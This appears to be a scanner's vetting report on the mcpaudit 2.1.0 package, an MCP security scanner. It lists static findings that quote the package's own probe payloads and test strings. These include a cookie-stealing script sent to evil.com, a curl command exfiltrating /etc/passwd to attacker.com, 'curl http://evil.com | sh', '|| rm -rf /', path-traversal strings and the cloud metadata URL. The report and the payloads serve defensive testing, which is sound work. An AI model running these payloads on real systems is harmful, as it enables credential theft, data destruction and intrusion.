mcpaudit@2.1.0
CAUTION· not startedPublisher claims: "Security scanner for MCP servers — Python + TypeScript/JavaScript + Go, zero dependencies, 57+ rules, SBOM generation, remediation playbooks, regression detection, plugin system, live scanner, fleet scanning, policy engine, OWASP Agentic Top 10" Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Registry PyPI (MCP server)Publisher cmiretf · publishing for 239 daysInstalls 52Last detonated 4d ago
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
API_KEYConfiguration, not credentials: MCPAUDIT_NO_COLOR- Where it talks to
- mcpaudit.dev (its own)Also no-color.org, jsdelivr.net, evil.com, attacker.com, google.internal, githubusercontent.com, mitre.org — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names no-color.org, jsdelivr.net, evil.com, attacker.com, google.internal, githubusercontent.com, mitre.org as well as its own vendor. The guard injects API_KEY only into requests to mcpaudit.dev (and its subdomains) and refuses the rest.
$vet-skills run --secrets API_KEY=mcpaudit.dev -- uvx mcpaudit
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-10 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: document.cookie access; Access to sensitive file paths; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationst+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run
Static findings
HIGH
document.cookie accessmcpaudit/probes.py:577 · document.cookie access — can steal session cookies
AST07"'http://evil.com/?c='+document.cookie</script>"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.HIGH
Access to sensitive file pathsmcpaudit/hardener.py:694 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05path=f"mcpServers.{server_name}.env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathsmcpaudit/attack_path.py:314 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05re.compile(r'(?:os\.environ|os\.getenv|environ\[|process\.env)', re.IGNORECASE)),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathsmcpaudit/live.py:404 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05# If response contains /etc/passwd content, it failedFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathsmcpaudit/hardener.py:386 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05path=f"mcpServers.{server_name}.env.{key}",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
document.cookie accessmcpaudit/probes.py:661 · document.cookie access — can steal session cookies
AST07"alert(", "document.cookie",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.HIGH
document.cookie accessmcpaudit/probes.py:567 · document.cookie access — can steal session cookies
AST07payload="javascript:alert(document.cookie)",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.HIGH
Access to sensitive file pathsmcpaudit/live.py:542 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05".env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.CRITICAL
OS command execution function call detectedmcpaudit/rule_sdk.py:687 · OS command execution function call detected
AST05"""Detect os.system() calls."""Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.CRITICAL
OS command execution function call detectedmcpaudit/rule_sdk.py:682 · OS command execution function call detected
AST05description="Detects os.system() calls (shell injection risk)",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.HIGH
Access to sensitive file pathsmcpaudit/probes.py:97 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05payload="| cat /etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.CRITICAL
OS command execution function call detectedmcpaudit/vuln_db_v2.py:168 · OS command execution function call detected
AST05severity=_S.CRITICAL, affected_patterns=["subprocess.call(", "os.system(", "shell=True"],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.HIGH
Access to sensitive file pathsmcpaudit/probes.py:175 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05payload="../../../etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.CRITICAL
Destructive command against a filesystem root or devicemcpaudit/probes.py:129 · Destructive command against a filesystem root or device
AST05payload="|| rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.HIGH
Destructive file system command detectedmcpaudit/probes.py:129 · Destructive file system command detected
AST05payload="|| rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.HIGH
Access to sensitive file pathsmcpaudit/live.py:245 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05"arguments": {"path": "../../../etc/passwd"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathsmcpaudit/probes.py:153 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05payload="$(curl http://attacker.com/?d=$(cat /etc/passwd))",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathsmcpaudit/hardener.py:493 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05path=f"mcpServers.{server_name}.env.{key}",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Hex-encoded URLmcpaudit/probes.py:470 · Hex-encoded URL — attempt to bypass URL filtering
AST07payload="http://0x7f000001/admin",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.CRITICAL
URL to the cloud instance metadata addressmcpaudit/probes.py:438 · URL to the cloud instance metadata address — reads the VM's credentials
AST07payload="http://169.254.169.254/latest/meta-data/",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.CRITICAL
OS command execution function call detectedmcpaudit/rule_sdk.py:694 · OS command execution function call detected
AST05"title": "Shell command via os.system()",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.CRITICAL
OS command execution function call detectedmcpaudit/rule_sdk.py:690 · OS command execution function call detected
AST05if "os.system(" in line:Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.HIGH
Access to sensitive file pathsmcpaudit/probes.py:183 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05payload="....//....//....//etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Credential pass-through configurationmcpaudit/guard.py:374 · Credential pass-through configuration — agent relays sensitive credentials
AST02"Pass secrets via environment variables instead of command args."Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.CRITICAL
OS command execution function call detectedmcpaudit/rule_sdk.py:14 · OS command execution function call detected
AST05if "os.system(" in line:Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.MEDIUM
Python subprocess execution detectedtests/test_scanner.py:558 · Python subprocess execution detected
AST05source = 'subprocess.run("ls", shell=True)\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedmcpaudit/playbooks.py:112 · Python subprocess execution detected
AST05"code_before": 'subprocess.run(f"ls {user_input}", shell=True)',Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_rule_gen.py:187 · Python subprocess execution detected
AST05"code_snippet": "subprocess.run(cmd, shell=True)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
AWS access key pattern detectedtests/test_ts_rules.py:250 · AWS access key pattern detected — possible hardcoded or harvested key
AST03source = 'const accessKey = "AKIAIOSFODNN7EXAMPLE";\n'Fix: Never read or enumerate credential locations; accept a documented environment variable instead.MEDIUM
Python subprocess execution detectedtests/test_sarif_ci.py:245 · Python subprocess execution detected
AST05findings = [_make_finding(code_snippet="subprocess.call(input)")]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedmcpaudit/playbooks.py:113 · Python subprocess execution detected
AST05"code_after": 'subprocess.run(["ls", user_input], shell=False)',Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Destructive file system command detectedtests/test_guard.py:388 · Destructive file system command detected
AST05"server": {"command": "node", "args": ["cmd; rm -rf /"],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.MEDIUM
Pipe-to-shell patterntests/test_guard.py:68 · Pipe-to-shell pattern — downloads and immediately executes remote code
AST06"args": ["-c", "curl http://evil.com | sh"]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedmcpaudit/playbooks.py:154 · Python subprocess execution detected
AST05"code_after": 'subprocess.run(["rm", filename], check=True)',Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedmcpaudit/vuln_db_v2.py:168 · Python subprocess execution detected
AST05severity=_S.CRITICAL, affected_patterns=["subprocess.call(", "os.system(", "shell=True"],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_multi.py:40 · Python subprocess execution detected
AST05return subprocess.call(cmd, shell=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_scanner.py:141 · Python subprocess execution detected
AST05source = 'import subprocess\ndef run(x):\n subprocess.call("echo " + x)\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_scanner.py:135 · Python subprocess execution detected
AST05source = 'import subprocess\ndef run(cmd):\n subprocess.run(f"echo {cmd}", shell=True)\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_scanner.py:738 · Python subprocess execution detected
AST05source = 'subprocess.run("ls", shell=True)\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_baseline.py:17 · Python subprocess execution detected
AST05code: str = "subprocess.run(cmd, shell=True)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Destructive command against a filesystem root or devicetests/test_guard.py:388 · Destructive command against a filesystem root or device
AST05"server": {"command": "node", "args": ["cmd; rm -rf /"],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.MEDIUM
File type combined with upload actiontests/test_hardener.py:729 · File type combined with upload action — agent may exfiltrate local data files
AST07assert "/etc/config.json" in outputFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.MEDIUM
Python subprocess execution detectedmcpaudit/playbooks.py:129 · Python subprocess execution detected
AST05"code_before": 'subprocess.run(["git", action], check=True)',Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_scanner.py:596 · Python subprocess execution detected
AST05file="bad.py", line=5, code_snippet="subprocess.run(x, shell=True)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.HIGH
Access to sensitive file pathsmcpaudit/probes.py:215 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05payload="/etc/passwd%00.txt",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Python subprocess execution detectedmcpaudit/live.py:99 · Python subprocess execution detected
AST05self._process = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedmcpaudit/playbooks.py:134 · Python subprocess execution detected
AST05'subprocess.run(["git", action], check=True)'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_sarif_ci.py:720 · Python subprocess execution detected
AST05f = _make_finding(code_snippet="subprocess.call(input)")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_baseline.py:48 · Python subprocess execution detected
AST05f2 = _make_finding(code="subprocess.call(cmd)")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Dense URL-encoded contentmcpaudit/probes.py:191 · Dense URL-encoded content — may be obfuscating payloads
AST07payload="%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.MEDIUM
Python subprocess execution detectedtests/test_diff.py:40 · Python subprocess execution detected
AST05line: int = 10, code: str = "subprocess.run(cmd)") -> dict:Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
URL with embedded credentialstests/test_guard.py:176 · URL with embedded credentials — may be phishing or credential leaking
AST07"url": "http://user:pass@localhost:3000"}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
File type combined with upload actiontests/test_ts_rules.py:511 · File type combined with upload action — agent may exfiltrate local data files
AST07# The rule detects res.json/send with error objects — even generic onesFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.MEDIUM
Python subprocess execution detectedtests/test_sarif.py:65 · Python subprocess execution detected
AST05code_snippet="subprocess.run(cmd, shell=True)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_baseline.py:59 · Python subprocess execution detected
AST05f2 = _make_finding(code="subprocess.run(cmd)")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Remote installer piped to shelltests/test_guard.py:68 · Remote installer piped to shell
AST07"args": ["-c", "curl http://evil.com | sh"]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_baseline.py:58 · Python subprocess execution detected
AST05f1 = _make_finding(code=" subprocess.run(cmd) ")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_sarif_ci.py:42 · Python subprocess execution detected
AST05"code_snippet": "subprocess.call(user_input)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedmcpaudit/rule_sdk.py:695 · Python subprocess execution detected
AST05"recommendation": "Use subprocess.run() with shell=False",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_sarif_ci.py:722 · Python subprocess execution detected
AST05assert ann["raw_details"] == "subprocess.call(input)"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
GitHub token pattern detectedtests/test_scanner.py:175 · GitHub token pattern detected — possible hardcoded or harvested token
AST03source = 'token = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij"\n'Fix: Never read or enumerate credential locations; accept a documented environment variable instead.MEDIUM
GitHub token pattern detectedtests/test_ts_rules.py:221 · GitHub token pattern detected — possible hardcoded or harvested token
AST03'"ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij";\n'Fix: Never read or enumerate credential locations; accept a documented environment variable instead.MEDIUM
Python subprocess execution detectedtests/test_baseline.py:47 · Python subprocess execution detected
AST05f1 = _make_finding(code="subprocess.run(cmd)")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Cost to the agent
Instructions loaded
≈95 tok
1 file · 81 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for mcpaudit@2.1.0 as of 4d ago. This is the package itself, not its dependencies.
What would make this Verified
12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- OS command execution function call detected≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Destructive command against a filesystem root or device≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- URL to the cloud instance metadata address≈ +9 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Unclaimed publisher≈ +8 on the totalClaim cmiretf: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- document.cookie access≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim cmiretfPropose a patch to the maintainer